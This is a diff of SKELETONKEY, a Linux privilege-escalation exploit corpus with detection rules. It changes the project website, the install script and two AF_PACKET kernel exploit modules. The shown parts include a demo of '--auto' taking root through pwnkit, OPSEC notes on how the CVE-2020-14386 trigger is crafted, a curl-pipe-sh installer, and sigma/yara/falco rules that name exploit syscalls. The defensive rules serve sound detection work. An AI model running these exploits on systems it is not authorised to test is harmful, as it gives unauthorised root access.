+      <a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/KEV_CROSSREF.md">KEV cross-reference</a>
+      ·
+      <a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/CVE_METADATA.json">CVE_METADATA.json</a>
+    </p>
   </div>
 </section>
 
-<section>
+<!-- ──────────────── AUDIENCE ──────────────── -->
+<section class="section section-audience reveal">
   <div class="container">
-    <h2>Who it's for</h2>
-    <div class="cards">
-      <div class="card">
-        <h3>🔴 Red team / pentesters</h3>
-        <p>One tested binary. <code>--auto</code> ranks vulnerable modules by safety and runs the safest. Honest scope reporting — never claims root it didn't actually get. No more curating stale PoC repos.</p>
+    <div class="section-head">
+      <span class="section-tag">who it's for</span>
+      <h2>Same project. Both sides of the engagement.</h2>
+    </div>
+
+    <div class="audience-grid">
+      <div class="audience-card audience-red">
+        <div class="audience-icon">🔴</div>
+        <h3>Red team / pentesters</h3>
+        <p>
+          <code>--auto</code> picks the safest exploit and runs it. Honest
+          scope reporting — never claims root it didn't actually get.
+          Per-exploit OPSEC notes tell you what telemetry you'll leave.
+          No more curating stale PoC repos.
+        </p>
+        <a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/README.md" class="audience-link">Walkthrough →</a>
       </div>
-      <div class="card">
-        <h3>🔵 Blue team / SOC</h3>
-        <p>Auditd + sigma + yara + falco rules for every CVE. One command ships SIEM coverage: <code>--detect-rules --format=auditd | sudo tee /etc/audit/rules.d/99-skeletonkey.rules</code>.</p>
+      <div class="audience-card audience-blue">
+        <div class="audience-icon">🔵</div>
+        <h3>Blue team / SOC</h3>
+        <p>
+          One command ships SIEM coverage for the entire corpus.
+          <code>--explain</code> renders a triage briefing per CVE with
+          CWE / ATT&amp;CK / KEV / OPSEC — paste into the ticket.
+          KEV-prioritized so you fix what attackers are already using.
+        </p>
+        <a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/DETECTION_PLAYBOOK.md" class="audience-link">Playbook →</a>
       </div>
-      <div class="card">
-        <h3>🛠 Sysadmins</h3>
-        <p><code>skeletonkey --scan</code> (no sudo needed) tells you which boxes still need patching. JSON output for CI gates. Fleet-scan tool included. No SaaS, no telemetry.</p>
+      <div class="audience-card audience-gray">
+        <div class="audience-icon">🛠</div>
+        <h3>Sysadmins / IT</h3>
+        <p>
+          <code>--scan</code> works without sudo. JSON output for CI
+          gates. Fleet-scan helper bundled. Compatible with everything
+          back to glibc 2.17 via the static-musl binary. No SaaS,
+          no analytics, no cloud accounts.
+        </p>
+        <a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/JSON_SCHEMA.md" class="audience-link">JSON schema →</a>
       </div>
-      <div class="card">
-        <h3>🎓 CTF / training</h3>
-        <p>Reproducible LPE environment with public CVEs across a 10-year timeline. Each module documents the bug, the trigger, and the fix. Detection rules let you practice both sides.</p>
+      <div class="audience-card audience-purple">
+        <div class="audience-icon">🎓</div>
+        <h3>Researchers / CTF</h3>
+        <p>
+          38 CVEs, 10-year span, each with the original PoC author
+          credited and the kernel-range citation auditable.
+          <code>--explain</code> shows the reasoning chain; detection
+          rules let you practice both sides. Source is the documentation.
+        </p>
+        <a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/ARCHITECTURE.md" class="audience-link">Architecture →</a>
       </div>
     </div>
   </div>
 </section>
 
-<section>
+<!-- ──────────────── HONESTY CALLOUT ──────────────── -->
+<section class="section section-callout reveal">
   <div class="container">
-    <h2>What it looks like</h2>
-    <p class="lead"><code>--auto</code> on a vulnerable Ubuntu 22.04 box:</p>
-
-<pre class="code"><span class="prompt">$</span> id
-uid=1000(kara) gid=1000(kara) groups=1000(kara)
-
-<span class="prompt">$</span> skeletonkey --auto --i-know
-<span class="hl-muted">[*]</span> auto: host=demo kernel=5.15.0-56-generic arch=x86_64
-<span class="hl-muted">[*]</span> auto: scanning 31 modules for vulnerabilities...
-<span class="hl-green">[+]</span> auto: dirty_pipe             <span class="hl-yellow">VULNERABLE</span> (safety rank 90)
-<span class="hl-green">[+]</span> auto: cgroup_release_agent   <span class="hl-yellow">VULNERABLE</span> (safety rank 98)
-<span class="hl-green">[+]</span> auto: pwnkit                 <span class="hl-yellow">VULNERABLE</span> (safety rank 100)
-
-<span class="hl-muted">[*]</span> auto: 3 vulnerable modules found. Safest is <span class="hl-accent">'pwnkit'</span> (rank 100).
-<span class="hl-muted">[*]</span> auto: launching --exploit pwnkit...
-
-<span class="hl-green">[+]</span> pwnkit: writing gconv-modules cache + payload.so...
-<span class="hl-green">[+]</span> pwnkit: execve(pkexec) with NULL argv + crafted envp...
-<span class="hl-green">#</span> id
-uid=0(root) gid=0(root) groups=0(root)</pre>
-
-    <p style="color: var(--text-muted); font-size: 0.92rem; margin-top: 1rem">
-      Safety ranking goes <strong>structural escapes</strong> →
-      <strong>page-cache writes</strong> →
-      <strong>userspace cred-races</strong> →
-      <strong>kernel primitives</strong> →
-      <strong>kernel races</strong>. The goal is to never crash a
-      production box looking for root.
-    </p>
+    <div class="callout">
+      <div class="callout-mark">✓</div>
+      <div>
+        <h3>The verified-vs-claimed bar</h3>
+        <p>
+          Most public PoC repos hardcode offsets for one kernel build and
+          silently break elsewhere. <strong>SKELETONKEY refuses to ship
+          fabricated offsets.</strong> The shared <code>--full-chain</code>
+          finisher returns <code>EXPLOIT_OK</code> only when a setuid
+          bash sentinel file <em>actually appears</em>. Modules with a
+          primitive but no portable cred-overwrite chain default to
+          firing the primitive + grooming the slab + recording a witness,
+          then return <code>EXPLOIT_FAIL</code> with diagnostic.
+          Operators populate the offset table once per kernel via
+          <code>--dump-offsets</code> and upstream the entry via PR.
+        </p>
+      </div>
+    </div>
   </div>
 </section>
 
-<section>
+<!-- ──────────────── QUICKSTART ──────────────── -->
+<section id="quickstart" class="section reveal">
   <div class="container">
-    <h2>The verified-vs-claimed bar</h2>
-    <p class="lead">
-      Most public PoC repos hardcode offsets for one kernel build and
-      silently break elsewhere. SKELETONKEY refuses to ship fabricated
-      offsets.
-    </p>
-    <ul class="tight">
-      <li>The shared <code>--full-chain</code> finisher returns <code>EXPLOIT_OK</code> only when a setuid bash sentinel file <em>actually appears</em></li>
-      <li>Modules with a primitive but no portable cred-overwrite chain default to firing the primitive + grooming the slab + recording a witness, then return <code>EXPLOIT_FAIL</code> with diagnostic</li>
-      <li>Operators populate the offset table once per kernel via <code>skeletonkey --dump-offsets</code> (parses <code>/proc/kallsyms</code> or <code>/boot/System.map</code>) and upstream the entry via PR — see <a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/CONTRIBUTING.md">CONTRIBUTING.md</a></li>
-    </ul>
-  </div>
-</section>
+    <div class="section-head">
+      <span class="section-tag">quickstart</span>
+      <h2>Five commands.</h2>
+    </div>
 
-<section>
-  <div class="container">
-    <h2>Quickstart commands</h2>
+    <div class="tabs" role="tablist">
+      <button class="tab active" data-tab="install" role="tab">install</button>
+      <button class="tab" data-tab="scan" role="tab">scan</button>
+      <button class="tab" data-tab="explain" role="tab">explain</button>
+      <button class="tab" data-tab="auto" role="tab">auto</button>
+      <button class="tab" data-tab="detect" role="tab">detect-rules</button>
+    </div>
 
-<pre class="code"><span class="cmt"># Install (x86_64 / arm64; checksum-verified)</span>
+    <div class="tab-panel active" data-tab="install">
+<pre class="code"><span class="cmt"># install (x86_64 / arm64; checksum-verified)</span>
 <span class="prompt">$</span> curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh
-
-<span class="cmt"># What's this box vulnerable to?  (no sudo)</span>
+<span class="cmt"># default is the musl-static x86_64 binary — works back to glibc 2.17</span></pre>
+    </div>
+    <div class="tab-panel" data-tab="scan">
+<pre class="code"><span class="cmt"># inventory — no sudo needed</span>
 <span class="prompt">$</span> skeletonkey --scan
-
-<span class="cmt"># Pick the safest LPE and run it</span>
+<span class="cmt"># or machine-readable for a SIEM</span>
+<span class="prompt">$</span> skeletonkey --scan --json | jq '.findings[] | select(.verdict == "VULNERABLE")'</pre>
+    </div>
+    <div class="tab-panel" data-tab="explain">
+<pre class="code"><span class="cmt"># one-page operator briefing for a single CVE</span>
+<span class="prompt">$</span> skeletonkey --explain nf_tables
+<span class="cmt"># shows CVE/CWE/ATT&amp;CK/KEV header, host fingerprint, live trace,</span>
+<span class="cmt"># verdict, OPSEC footprint, detection coverage. Paste into your ticket.</span></pre>
+    </div>
+    <div class="tab-panel" data-tab="auto">
+<pre class="code"><span class="cmt"># pick the safest exploit and run it</span>
 <span class="prompt">$</span> skeletonkey --auto --i-know
+<span class="cmt"># --dry-run for "what would it do?" without launching</span>
+<span class="prompt">$</span> skeletonkey --auto --dry-run</pre>
+    </div>
+    <div class="tab-panel" data-tab="detect">
+<pre class="code"><span class="cmt"># deploy SIEM coverage (needs sudo to write to /etc/audit/rules.d/)</span>
+<span class="prompt">$</span> skeletonkey --detect-rules --format=auditd | sudo tee /etc/audit/rules.d/99-skeletonkey.rules
+<span class="prompt">$</span> sudo augenrules --load
 
-<span class="cmt"># Deploy detection rules (needs sudo to write into /etc/audit/rules.d/)</span>
-<span class="prompt">$</span> skeletonkey --detect-rules --format=auditd \
-    | sudo tee /etc/audit/rules.d/99-skeletonkey.rules
-
-<span class="cmt"># Fleet scan — many hosts via SSH, aggregated JSON for SIEM</span>
-<span class="prompt">$</span> ./tools/skeletonkey-fleet-scan.sh --binary skeletonkey \
-    --ssh-key ~/.ssh/id_rsa hosts.txt</pre>
+<span class="cmt"># or in YAML for falco / sigma / yara</span>
+<span class="prompt">$</span> skeletonkey --detect-rules --format=falco &gt; /etc/falco/skeletonkey_rules.yaml</pre>
+    </div>
   </div>
 </section>
 
-<section>
+<!-- ──────────────── ROADMAP / TIMELINE ──────────────── -->
+<section class="section section-timeline reveal">
   <div class="container">
-    <h2>Status</h2>
-    <p class="lead">
-      <strong>v0.5.0</strong> cut 2026-05-17. 28 verified modules build
-      clean on Debian 13 (kernel 6.12) and refuse cleanly on patched
-      hosts; 3 further modules (dirtydecrypt, fragnesia, pack2theroot)
-      are ported from public PoCs but not yet VM-verified.
-      Empirical end-to-end validation on a vulnerable-kernel VM matrix
-      is the next roadmap item; until then, the corpus is best
-      understood as "compiles + detects + structurally correct +
-      honest on failure."
-    </p>
-    <p style="margin-top:1rem">
-      <a class="btn" href="https://github.com/KaraZajac/SKELETONKEY/blob/main/ROADMAP.md">Read the roadmap</a>
-      <a class="btn" href="https://github.com/KaraZajac/SKELETONKEY/blob/main/CONTRIBUTING.md">How to contribute</a>
+    <div class="section-head">
+      <span class="section-tag">where we are</span>
+      <h2>Recently shipped · in flight · next.</h2>
+    </div>
+
+    <div class="timeline">
+      <div class="tl-col tl-shipped">
+        <div class="tl-tag">shipped</div>
+        <ul>
+          <li><strong>28 of 38 CVEs empirically verified</strong> in real Linux VMs</li>
+          <li><strong>kernel.ubuntu.com/mainline/</strong> kernel fetch path — unblocks pin-not-in-apt targets</li>
+          <li>Per-module <code>verified_on[]</code> table baked into the binary</li>
+          <li><strong>--explain mode</strong> — one-page operator briefing per CVE</li>
+          <li><strong>OPSEC notes</strong> — per-module runtime footprint</li>
+          <li><strong>CISA KEV + NVD CWE + MITRE ATT&amp;CK</strong> metadata pipeline</li>
+          <li>151 detection rules across all four SIEM formats</li>
+          <li><code>core/host.c</code> shared host-fingerprint refactor</li>
+          <li>88-test harness (kernel_range + detect integration)</li>
+        </ul>
+      </div>
+      <div class="tl-col tl-active">
+        <div class="tl-tag">in flight</div>
+        <ul>
+          <li>9 deferred TOO_TIGHT kernel-range drift findings</li>
+          <li>PackageKit provisioner so pack2theroot can hit the VULNERABLE path</li>
+          <li>Custom Vagrant box for kernels ≤ 4.4 (unblock dirty_cow verification)</li>
+        </ul>
+      </div>
+      <div class="tl-col tl-next">
+        <div class="tl-tag">next</div>
+        <ul>
+          <li>arm64 musl-static binary (Raspberry-Pi-class deployments)</li>
+          <li>Mass-fleet scan aggregator → heat-map dashboard</li>
+          <li>SIEM query templates (Splunk SPL, Elastic KQL, Sentinel KQL)</li>
+          <li>CWE / ATT&amp;CK filter for <code>--scan --json</code></li>
+          <li>CI hardening: clang-tidy, scan-build, drift-check job</li>
+        </ul>
+      </div>
+    </div>
+
+    <p class="tl-foot">
+      Full roadmap and contribution guide:
+      <a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/ROADMAP.md">ROADMAP.md</a>
+      ·
+      <a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/CONTRIBUTING.md">CONTRIBUTING.md</a>
     </p>
   </div>
 </section>
 
-<footer>
-  <div class="container">
+<!-- ──────────────── FOOTER ──────────────── -->
+<footer class="footer">
+  <div class="container footer-inner">
+    <div class="footer-col">
+      <div class="footer-brand">
+        <span class="nav-mark" aria-hidden="true">◆</span>
+        SKELETONKEY
+      </div>
+      <p class="footer-tag">
+        Curated Linux LPE corpus with SOC-ready detection rules. One
+        binary, no SaaS, no telemetry. MIT licensed.
+      </p>
+    </div>
+    <div class="footer-col">
+      <h4>Project</h4>
+      <ul>
+        <li><a href="https://github.com/KaraZajac/SKELETONKEY">Source</a></li>
+        <li><a href="https://github.com/KaraZajac/SKELETONKEY/releases">Releases</a></li>
+        <li><a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/CVES.md">CVE inventory</a></li>
+        <li><a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/ROADMAP.md">Roadmap</a></li>
+      </ul>
+    </div>
+    <div class="footer-col">
+      <h4>Docs</h4>
+      <ul>
+        <li><a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/ARCHITECTURE.md">Architecture</a></li>
+        <li><a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/DETECTION_PLAYBOOK.md">Detection playbook</a></li>
+        <li><a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/JSON_SCHEMA.md">JSON schema</a></li>
+        <li><a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/OFFSETS.md">Offsets</a></li>
+      </ul>
+    </div>
+    <div class="footer-col">
+      <h4>Ethics</h4>
+      <ul>
+        <li><a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/ETHICS.md">ETHICS.md</a></li>
+        <li><a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/DEFENDERS.md">For defenders</a></li>
+        <li><a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/CONTRIBUTING.md">Contribute</a></li>
+      </ul>
+    </div>
+  </div>
+  <div class="container footer-bottom">
     <p>
       Each module credits the original CVE reporter and PoC author in its
       <code>NOTICE.md</code>. The research credit belongs to the people
       who found the bugs.
     </p>
-    <p>
-      MIT licensed ·
-      <a href="https://github.com/KaraZajac/SKELETONKEY">github.com/KaraZajac/SKELETONKEY</a>
+    <p class="footer-meta">
+      v0.9.11 · MIT · <a href="https://github.com/KaraZajac/SKELETONKEY">github.com/KaraZajac/SKELETONKEY</a>
     </p>
   </div>
 </footer>
 
-<script>
-function copyInstall(btn) {
-  var cmd = document.getElementById('install-cmd').innerText.replace(/^\$\s*/, '');
-  navigator.clipboard.writeText(cmd).then(function() {
-    btn.textContent = 'copied!';
-    btn.classList.add('copied');
-    setTimeout(function() {
-      btn.textContent = 'copy';
-      btn.classList.remove('copied');
-    }, 1500);
-  });
-}
-
-</script>
+<script src="app.js" defer></script>
 
 </body>
 </html>

docs/og.svg

@@ -0,0 +1,85 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<svg xmlns="http://www.w3.org/2000/svg" width="1200" height="630" viewBox="0 0 1200 630">
+  <defs>
+    <linearGradient id="bg" x1="0" y1="0" x2="1" y2="1">
+      <stop offset="0" stop-color="#07070d"/>
+      <stop offset="1" stop-color="#0c0c16"/>
+    </linearGradient>
+    <linearGradient id="brand" x1="0" y1="0" x2="1" y2="0">
+      <stop offset="0" stop-color="#10b981"/>
+      <stop offset="1" stop-color="#06b6d4"/>
+    </linearGradient>
+    <radialGradient id="glow1" cx="0.2" cy="0.3" r="0.6">
+      <stop offset="0" stop-color="#10b981" stop-opacity="0.18"/>
+      <stop offset="1" stop-color="#10b981" stop-opacity="0"/>
+    </radialGradient>
+    <radialGradient id="glow2" cx="0.85" cy="0.8" r="0.5">
+      <stop offset="0" stop-color="#a855f7" stop-opacity="0.16"/>
+      <stop offset="1" stop-color="#a855f7" stop-opacity="0"/>
+    </radialGradient>
+  </defs>
+
+  <!-- backgrounds -->
+  <rect width="1200" height="630" fill="url(#bg)"/>
+  <rect width="1200" height="630" fill="url(#glow1)"/>
+  <rect width="1200" height="630" fill="url(#glow2)"/>
+
+  <!-- diamond mark -->
+  <g transform="translate(80,140)">
+    <rect x="0" y="0" width="36" height="36" transform="rotate(45 18 18)" fill="url(#brand)"/>
+  </g>
+
+  <!-- wordmark -->
+  <text x="142" y="170" font-family="'Space Grotesk','Inter',sans-serif" font-weight="700" font-size="68" fill="#ecedf7" letter-spacing="-2">
+    SKELETONKEY
+  </text>
+
+  <!-- tagline -->
+  <text x="80" y="240" font-family="'Inter',sans-serif" font-size="30" fill="#c5c5d3" font-weight="500">
+    Curated Linux LPE corpus.
+  </text>
+  <text x="80" y="278" font-family="'Inter',sans-serif" font-size="30" fill="#c5c5d3" font-weight="500">
+    Every year 2016 → 2026. 28 of 34 verified.
+  </text>
+
+  <!-- stat chips -->
+  <g transform="translate(80,360)">
+    <!-- 39 modules -->
+    <rect x="0" y="0" width="190" height="58" rx="29" fill="#161628" stroke="#25253c"/>
+    <text x="28" y="38" font-family="'JetBrains Mono',monospace" font-weight="700" font-size="22" fill="#ecedf7">39</text>
+    <text x="64" y="37" font-family="'Inter',sans-serif" font-size="16" fill="#8a8a9d">modules</text>
+
+    <!-- 28 VM-verified -->
+    <rect x="206" y="0" width="240" height="58" rx="29" fill="#161628" stroke="#10b981" stroke-opacity="0.5"/>
+    <text x="234" y="38" font-family="'JetBrains Mono',monospace" font-weight="700" font-size="22" fill="#34d399">28</text>
+    <text x="270" y="37" font-family="'Inter',sans-serif" font-size="16" fill="#8a8a9d">✓ VM-verified</text>
+
+    <!-- 12 KEV -->
+    <rect x="482" y="0" width="218" height="58" rx="29" fill="#161628" stroke="#ef4444" stroke-opacity="0.4"/>
+    <text x="510" y="38" font-family="'JetBrains Mono',monospace" font-weight="700" font-size="22" fill="#ef4444">12</text>
+    <text x="546" y="37" font-family="'Inter',sans-serif" font-size="16" fill="#8a8a9d">★ in CISA KEV</text>
+
+    <!-- 151 rules -->
+    <rect x="736" y="0" width="232" height="58" rx="29" fill="#161628" stroke="#25253c"/>
+    <text x="764" y="38" font-family="'JetBrains Mono',monospace" font-weight="700" font-size="22" fill="#ecedf7">151</text>
+    <text x="810" y="37" font-family="'Inter',sans-serif" font-size="16" fill="#8a8a9d">detection rules</text>
+  </g>
+
+  <!-- terminal mockup -->
+  <g transform="translate(80,478)">
+    <rect x="0" y="0" width="1040" height="92" rx="12" fill="#0a0a14" stroke="#25253c"/>
+    <!-- bar -->
+    <circle cx="22" cy="22" r="6" fill="#ff5f57"/>
+    <circle cx="42" cy="22" r="6" fill="#febc2e"/>
+    <circle cx="62" cy="22" r="6" fill="#28c840"/>
+    <line x1="0" y1="44" x2="1040" y2="44" stroke="#1c1c2d"/>
+    <text x="24" y="78" font-family="'JetBrains Mono',monospace" font-size="20" fill="#ecedf7">
+      <tspan fill="#10b981">$</tspan> skeletonkey --explain nf_tables    <tspan fill="#5b5b75"># operator briefing in one command</tspan>
+    </text>
+  </g>
+
+  <!-- subtle url at very bottom -->
+  <text x="1120" y="610" font-family="'JetBrains Mono',monospace" font-size="14" fill="#5b5b75" text-anchor="end">
+    karazajac.github.io/SKELETONKEY
+  </text>
+</svg>

install.sh

@@ -19,21 +19,48 @@
 #   0 — installed successfully
 #   1 — error (unsupported arch, download failure, permission denied)
 
-set -euo pipefail
+# POSIX-friendly: -eu is universal, pipefail only on shells that
+# support it (bash, ksh, dash >= 0.5.12). Without pipefail the
+# installer still exits on the first hard error since every curl/
+# tar/install step is checked explicitly.
+set -eu
+(set -o pipefail) 2>/dev/null && set -o pipefail || true
 
 REPO="${SKELETONKEY_REPO:-KaraZajac/SKELETONKEY}"
 VERSION="${SKELETONKEY_VERSION:-latest}"
-PREFIX="${SKELETONKEY_PREFIX:-/usr/local/bin}"
+# PREFIX resolution is deferred until install time so we can pick a
+# sudo-free default. SKELETONKEY is a privilege-escalation tool — by
+# definition the operator does NOT have root yet, so the installer must
+# NEVER need sudo. Empty here means "auto-pick a writable dir below".
+PREFIX="${SKELETONKEY_PREFIX:-}"
 
 log()   { printf '[\033[1;36m*\033[0m] %s\n' "$*" >&2; }
 ok()    { printf '[\033[1;32m+\033[0m] %s\n' "$*" >&2; }
 fail()  { printf '[\033[1;31m-\033[0m] %s\n' "$*" >&2; exit 1; }
 
-# Detect architecture
+# Detect architecture. Default to the musl-static binary on both
+# x86_64 and arm64 — works on every libc (glibc 2.x of any version,
+# musl, uclibc); costs ~800 KB extra vs dynamic but eliminates the
+# GLIBC_2.NN portability ceiling that bites on Debian-stable, older
+# RHEL hosts, and Alpine. Set SKELETONKEY_DYNAMIC=1 to fetch the
+# smaller dynamic build (needs glibc >= 2.38 for x86_64 — Ubuntu
+# 24.04 / Debian 13 / RHEL 10).
 arch=$(uname -m)
 case "$arch" in
-    x86_64|amd64)        target=x86_64 ;;
-    aarch64|arm64)       target=arm64  ;;
+    x86_64|amd64)
+        if [ "${SKELETONKEY_DYNAMIC:-0}" = "1" ]; then
+            target=x86_64
+        else
+            target=x86_64-static
+        fi
+        ;;
+    aarch64|arm64)
+        if [ "${SKELETONKEY_DYNAMIC:-0}" = "1" ]; then
+            target=arm64
+        else
+            target=arm64-static
+        fi
+        ;;
     *) fail "Unsupported architecture: $arch (only x86_64 and arm64 currently)" ;;
 esac
 log "detected arch: $target"
@@ -85,29 +112,49 @@ fi
 
 chmod +x "$tmp/skeletonkey"
 
-# Install. Try $PREFIX directly; if not writable, sudo.
-target_path="$PREFIX/skeletonkey"
-if [ -w "$PREFIX" ] || [ "$(id -u)" -eq 0 ]; then
-    mv "$tmp/skeletonkey" "$target_path"
-elif command -v sudo >/dev/null 2>&1; then
-    log "$PREFIX needs sudo; you may be prompted for password"
-    sudo mv "$tmp/skeletonkey" "$target_path"
+# Choose install dir — NEVER escalate to sudo. If the user pinned
+# SKELETONKEY_PREFIX we honor it exactly (creating it if needed) and
+# error rather than escalate when it isn't writable. Otherwise prefer
+# /usr/local/bin only when it happens to already be writable, and fall
+# back to a guaranteed per-user dir ($HOME/.local/bin) that needs no
+# privileges. This keeps `curl ... | sh` password-free for the exact
+# users this tool is meant for: unprivileged accounts.
+if [ -n "$PREFIX" ]; then
+    [ -d "$PREFIX" ] || mkdir -p "$PREFIX" 2>/dev/null \
+        || fail "cannot create SKELETONKEY_PREFIX=$PREFIX"
+    [ -w "$PREFIX" ] || fail "SKELETONKEY_PREFIX=$PREFIX not writable (the installer never uses sudo — pick a writable dir)"
+elif [ -w /usr/local/bin ]; then
+    PREFIX=/usr/local/bin
 else
-    fail "$PREFIX not writable and sudo not available. Try SKELETONKEY_PREFIX=\$HOME/.local/bin"
+    PREFIX="${XDG_BIN_HOME:-$HOME/.local/bin}"
+    mkdir -p "$PREFIX" 2>/dev/null || fail "cannot create $PREFIX"
 fi
 
+target_path="$PREFIX/skeletonkey"
+mv "$tmp/skeletonkey" "$target_path" || fail "failed to install to $target_path"
 ok "installed: $target_path"
+
+# ~/.local/bin is frequently absent from PATH on fresh accounts — tell
+# the user how to invoke it rather than letting `skeletonkey` 404.
+case ":$PATH:" in
+    *":$PREFIX:"*) : ;;
+    *) log "note: $PREFIX is not on \$PATH — run it as $target_path, or add the dir to PATH" ;;
+esac
+
 "$target_path" --version
 
 cat >&2 <<EOF
 
 [\033[1;33m!\033[0m] AUTHORIZED TESTING ONLY — see https://github.com/${REPO}/blob/main/docs/ETHICS.md
 
-Quickstart:
-    sudo skeletonkey --scan                                 # what's this box vulnerable to?
-    sudo skeletonkey --audit                                # broader system hygiene
-    sudo skeletonkey --detect-rules --format=auditd \\
-       | sudo tee /etc/audit/rules.d/99-skeletonkey.rules   # deploy detection rules
+Quickstart (no root required — gaining it is the point):
+    skeletonkey --scan                  # what's this box vulnerable to?
+    skeletonkey --audit                 # broader system hygiene
+    skeletonkey --auto --i-know         # run the safest available LPE
+
+Deploy detection rules (defensive; only the write to /etc/audit needs root):
+    skeletonkey --detect-rules --format=auditd \\
+       | sudo tee /etc/audit/rules.d/99-skeletonkey.rules
 
 See \`skeletonkey --help\` for all commands.
 EOF

modules/af_packet2_cve_2020_14386/skeletonkey_modules.c

@@ -669,6 +669,54 @@ static const char af_packet2_auditd[] =
     "# non-root via userns is the canonical footprint.\n"
     "-a always,exit -F arch=b64 -S socket -F a0=17 -k skeletonkey-af-packet\n";
 
+static const char af_packet2_sigma[] =
+    "title: Possible CVE-2020-14386 AF_PACKET VLAN underflow exploitation\n"
+    "id: b83c6fa2-skeletonkey-af-packet2\n"
+    "status: experimental\n"
+    "description: |\n"
+    "  Detects the AF_PACKET TPACKET_V2 nested-VLAN frame pattern:\n"
+    "  unshare(CLONE_NEWUSER|CLONE_NEWNET) followed by socket(AF_PACKET),\n"
+    "  PACKET_RX_RING setsockopt, and a sendmmsg burst (>=64) on a unix\n"
+    "  socketpair spray. False positives: legitimate packet capture in\n"
+    "  rootless containers.\n"
+    "logsource: {product: linux, service: auditd}\n"
+    "detection:\n"
+    "  userns:    {type: 'SYSCALL', syscall: 'unshare'}\n"
+    "  afp:       {type: 'SYSCALL', syscall: 'socket', a0: 17}\n"
+    "  send_burst:{type: 'SYSCALL', syscall: 'sendmmsg'}\n"
+    "  condition: userns and afp and send_burst\n"
+    "level: high\n"
+    "tags: [attack.privilege_escalation, attack.t1068, cve.2020.14386]\n";
+
+static const char af_packet2_yara[] =
+    "rule af_packet2_cve_2020_14386 : cve_2020_14386 heap_spray\n"
+    "{\n"
+    "    meta:\n"
+    "        cve         = \"CVE-2020-14386\"\n"
+    "        description = \"AF_PACKET VLAN-underflow spray tag (skeletonkey-afp-fc-)\"\n"
+    "        author      = \"SKELETONKEY\"\n"
+    "    strings:\n"
+    "        $tag = \"skeletonkey-afp-fc-\" ascii\n"
+    "    condition:\n"
+    "        $tag\n"
+    "}\n";
+
+static const char af_packet2_falco[] =
+    "- rule: AF_PACKET TPACKET_V2 nested-VLAN trigger by non-root\n"
+    "  desc: |\n"
+    "    A non-root process sets up TPACKET_V2 and sends a burst of\n"
+    "    sendmmsg packets carrying nested VLAN tags (CVE-2020-14386\n"
+    "    trigger). False positives: legitimate VLAN/network capture\n"
+    "    tools in unprivileged containers.\n"
+    "  condition: >\n"
+    "    evt.type = sendmmsg and fd.type = socket and\n"
+    "    fd.sockfamily = AF_PACKET and not user.uid = 0\n"
+    "  output: >\n"
+    "    sendmmsg burst on AF_PACKET socket by non-root\n"
+    "    (user=%user.name pid=%proc.pid vlen=%evt.arg.vlen)\n"
+    "  priority: HIGH\n"
+    "  tags: [network, mitre_privilege_escalation, T1068, cve.2020.14386]\n";
+
 const struct skeletonkey_module af_packet2_module = {
     .name           = "af_packet2",
     .cve            = "CVE-2020-14386",
@@ -680,9 +728,11 @@ const struct skeletonkey_module af_packet2_module = {
     .mitigate       = NULL,
     .cleanup        = NULL,
     .detect_auditd  = af_packet2_auditd,
-    .detect_sigma   = NULL,
-    .detect_yara    = NULL,
-    .detect_falco   = NULL,
+    .detect_sigma   = af_packet2_sigma,
+    .detect_yara    = af_packet2_yara,
+    .detect_falco   = af_packet2_falco,
+    .opsec_notes    = "unshare(CLONE_NEWUSER|CLONE_NEWNET) + TPACKET_V2 ring on AF_PACKET; crafts nested-VLAN ETH_P_8021AD frames with 0x88A8/0x8100 TPIDs to trigger tpacket_rcv underflow; fires 256 frames + 64 sendmmsg via AF_UNIX socketpair spray. Tag 'skeletonkey-afp-fc-' visible in KASAN splats. Audit-visible via socket(AF_PACKET) + sendmsg/sendto from userns. No persistent artifacts; kernel cleans up on child exit.",
+    .arch_support   = "x86_64+unverified-arm64",
 };
 
 void skeletonkey_register_af_packet2(void)

modules/af_packet_cve_2017_7308/skeletonkey_modules.c

@@ -891,6 +891,55 @@ static const char af_packet_auditd[] =
     "-a always,exit -F arch=b64 -S socket -F a0=17 -k skeletonkey-af-packet\n"
     "-a always,exit -F arch=b64 -S unshare -k skeletonkey-af-packet-userns\n";
 
+static const char af_packet_sigma[] =
+    "title: Possible CVE-2017-7308 AF_PACKET TPACKET_V3 exploitation\n"
+    "id: a72b5e91-skeletonkey-af-packet\n"
+    "status: experimental\n"
+    "description: |\n"
+    "  Detects the AF_PACKET TPACKET_V3 integer-overflow setup pattern:\n"
+    "  unshare(CLONE_NEWUSER|CLONE_NEWNET) followed by socket(AF_PACKET)\n"
+    "  and a PACKET_RX_RING setsockopt + sendmmsg burst. False positives:\n"
+    "  network sandboxes / containers running raw-packet apps inside\n"
+    "  userns; correlate process tree to distinguish.\n"
+    "logsource: {product: linux, service: auditd}\n"
+    "detection:\n"
+    "  userns:    {type: 'SYSCALL', syscall: 'unshare'}\n"
+    "  afp:       {type: 'SYSCALL', syscall: 'socket', a0: 17}\n"
+    "  send_burst:{type: 'SYSCALL', syscall: 'sendmmsg'}\n"
+    "  condition: userns and afp and send_burst\n"
+    "level: high\n"
+    "tags: [attack.privilege_escalation, attack.t1068, cve.2017.7308]\n";
+
+static const char af_packet_yara[] =
+    "rule af_packet_cve_2017_7308 : cve_2017_7308 heap_spray\n"
+    "{\n"
+    "    meta:\n"
+    "        cve         = \"CVE-2017-7308\"\n"
+    "        description = \"AF_PACKET TPACKET_V3 spray tag from skeletonkey/iam-root tooling\"\n"
+    "        author      = \"SKELETONKEY\"\n"
+    "    strings:\n"
